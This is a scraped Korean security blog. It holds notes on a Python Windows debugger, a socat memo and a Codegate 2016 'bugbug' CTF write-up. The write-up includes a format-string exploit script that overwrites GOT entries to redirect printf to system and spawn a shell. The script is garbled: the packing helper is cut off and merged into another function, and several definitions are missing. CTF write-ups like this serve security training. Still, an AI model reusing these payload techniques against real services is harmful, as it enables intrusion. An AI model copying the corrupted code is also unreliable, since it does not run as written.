>

 프로세스 attach는 디버깅을 할 준비를 한다는 것이다. Windows에서는 디버깅 할 프로세스의 pid를 DebugActiveProcess 함수의 인자로 넘기기만 하면 디버그 이벤트가 발생하여 디버깅을 할 수 있게 된다.

 디버그가 가능한 상태로 만든 후에는 WaitForDebugEvent 함수를 써서 디버그 이벤트를 처리할 수 있다. 이벤트가 끝나면 ContinueDebugEvent로 프로세스 실행이 계속되게 한다.

 CreateToolhelp32Snapshot을 이용하면 쓰레드들의 snapshot을 얻을 수 있는데, 쓰레드들을 관리하는 THREADENTRY32라는 구조체에서 th32OwnerProcessID 멤버와 프로세스의 ID와 비교하는 방식으로 디버깅 대상 프로세스의 쓰레드들을 얻을 수 있다.

 이렇게 얻어온 쓰레드 리스트들을 GetThreadContext 함수로 넘겨서 각 쓰레드들의 Context를 볼 수 있다. 상기한 내용은 아래와 같은 코드로 구현할 수 있다.

def open_process(self,pid):
		h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,pid)
		return h_process

	def attach(self,pid):
		self.h_process = self.open_process(pid)

		if kernel32.DebugActiveProcess(pid):
			self.debugger_active = True
			self.pid = int(pid)
		else:
			print "[*] Unable to attach to the process."
			print "[*] GetLastError : %d"%kernel32.GetLastError()

	def run(self):
		while self.debugger_active == True:
			self.get_debug_event()

	def get_debug_event(self):

		debug_event = DEBUG_EVENT()
		continue_status = DBG_CONTINUE

		if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):

			raw_input("Press a key to continue...")
			self.debugger_active = False
			kernel32.ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThreadId, continue_status)

	def detach(self):

		if kernel32.DebugActiveProcessStop(self.pid):
			print "[*] Fininshed debugging. Exiting..."
			return True
		else:
			print "There was an error"
			return False



'Study > Grayhat python' 카테고리의 다른 글

브레이크 포인트 종류  (0) 2015.10.16
Posted by Mungsul
,

socat 바인딩 하기

Memo 2016. 5. 21. 19:15

socat TCP-LISTEN:포트,reuseaddr,fork EXEC:./바이너리

'Memo' 카테고리의 다른 글

angr 쓰기  (1) 2016.08.18
Windows Exploit 관련 레퍼런스  (0) 2016.07.06
Angular XSS  (0) 2016.03.06
ubuntu에 pyCrypto 모듈 설치하기  (0) 2016.02.14
Ubuntu 에 apm 마련하기  (0) 2016.02.04
Posted by Mungsul
,

[codegate2016] bugbug

CTF 2016. 3. 19. 02:15


 1부터 45까지의 랜덤한 수 6개를 맞추면 Format String Bug 취약점을 트리거링 할 수 있다. srand 함수에 인자로 들어가는 ptr 변수는 입력값인 buf 변수보다 높은 주소에 존재하기 때문에, 100바이트를 모두 채워주면 buf 변수와 ptr 사이의 NULL이 없어져서 랜덤시드 Leak이 가능하다.

 Exploit 시나리오는 이렇다.

1. exit 함수 GOT를 main 함수 첫부분으로 변경

2. 임의의 함수 GOT Leak

3. rand GOT를 ret 가젯 주소로 변경

4. printf 함수 GOT를 system 함수로 변경

5. /bin/sh 입력 후 숫자를 맞춘다.

6. 쉘 획득

 1은 여러번의 FSB를 이용하기 위한 것이다. 3를 하는 이유는 4에서 printf 함수 GOT가 변경됐기 때문에 랜덤 시드 Leak이 불가능하다. 그렇기에 랜덤값을 고정시켜 계속해서 트리거링을 할 수 있게 만든다.

#!/usr/bin/python

from socket import *
from struct import pack,unpack
import time
import os
import telnetlib

p = lambda x:pack(" ")
	input_data = data.split("Hello~ ")[1].split("\n==============================")[0]
	seed = u_p(input_data[100:104])
	print hex(seed)

	randnum = os.popen("./srand %s"%(seed),"r").read()
	randnum = randnum.replace("\n","")
	print randnum
	#raw_input()
	s.send(randnum + "\n")
	d = recv_until(s,"You Win!!\n")
	d = d[16:]
	return d
	#print d.encode("hex")
	#print hex(u_p(d[5:9]))

def fsb_calc(addr):
	low = addr & 0xffff
	high = (addr >> 16) & 0xffff
	high = high + 0x10000 - low
	return low-8, high

stdout = 0x0804a04c
setvbuf_got = 0x0804a030
setvbuf_plt = 0x08048530
exit_got = 0x0804a024
main_addr = 0x0804878c
printf_got = 0x0804a010
rand_got = 0x0804a03c
ret_addr = 0x08048994

low,high = fsb_calc(main_addr)
payload = ""
payload += p(exit_got)
payload += p(exit_got+2)
payload += "%"+"%d"%(low)+"c%17$hn%"+"%d"%(high)+"c%18$hn"
payload += "a"*(100-(len(payload)))

payload2 = ""
payload2 += p(printf_got)
payload2 += "%17$s"
payload2 += "a"*(100-len(payload2))

low,high = fsb_calc(ret_addr)
payload3 = ""
payload3 += p(rand_got)
payload3 += p(rand_got+2)
payload3 += "%"+"%d"%(low)+"c%17$hn%"+"%d"%(high)+"c%18$hn"
payload3 += "a"*(100-(len(payload3)))

go(s,payload)
#raw_input()
leak = u_p(go(s,payload2)[5:9])
print hex(leak)
go(s,payload3)

#libc_base = leak - 0x4a150 # server
#system_addr = libc_base + 0x3b180 # server

libc_base = leak - 0x49a90
system_addr = libc_base + 0x3acd0

low,high = fsb_calc(system_addr)
payload4 = ""
payload4 += p(printf_got)
payload4 += p(printf_got+2)
payload4 += "%"+"%d"%(low)+"c%17$hn%"+"%d"%(high)+"c%18$hn"
payload4 += "a"*(100-(len(payload4)))
raw_input()

recv_until(s,"\nWho are you? ")
s.send(payload4)
data = recv_until(s,"==> ")



t = telnetlib.Telnet(host,port)
t.sock = s
t.interact()




'CTF' 카테고리의 다른 글

[TMCTF 2016] Analysis Defensive 200  (0) 2016.08.01
[HackIM] sandman  (0) 2016.03.03
[hitcon2015] blinkroot  (0) 2015.10.20
[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
Posted by Mungsul
,